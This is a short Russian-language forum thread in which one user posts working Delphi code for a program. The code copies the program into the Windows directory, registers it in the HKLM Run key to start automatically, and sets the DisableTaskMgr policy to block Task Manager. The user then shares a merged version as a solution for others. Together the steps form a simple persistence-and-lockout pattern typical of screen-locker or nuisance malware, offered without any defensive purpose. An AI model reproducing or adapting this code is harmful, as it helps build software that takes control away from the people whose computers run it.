работа с реестром

[alex0097]

нужно сделать чтобы прописывался в автозагрузку и отключался диспетчер задач.

это добавление в автозагрузку.

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Stop.exe');
Reg.CloseKey;
Reg.Free;
end;

отключение диспетчера задч

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system',true);
reg.writeinteger('DisableTaskMgr', 1);
Reg.CloseKey;
Reg.Free;
end;

Как сделать чтобы они были в одном целом. чтобы одновременно делали задачу которая им дана, а не только одну.

[alex0097]

все я понел.

если у кого то будет проблемы наподобие. вот код решения

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Stop.exe');
Reg.CloseKey;
Reg.RootKey:=hkey_current_user;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system',true);
reg.writeinteger('DisableTaskMgr', 1);
Reg.CloseKey;
Reg.Free;
end;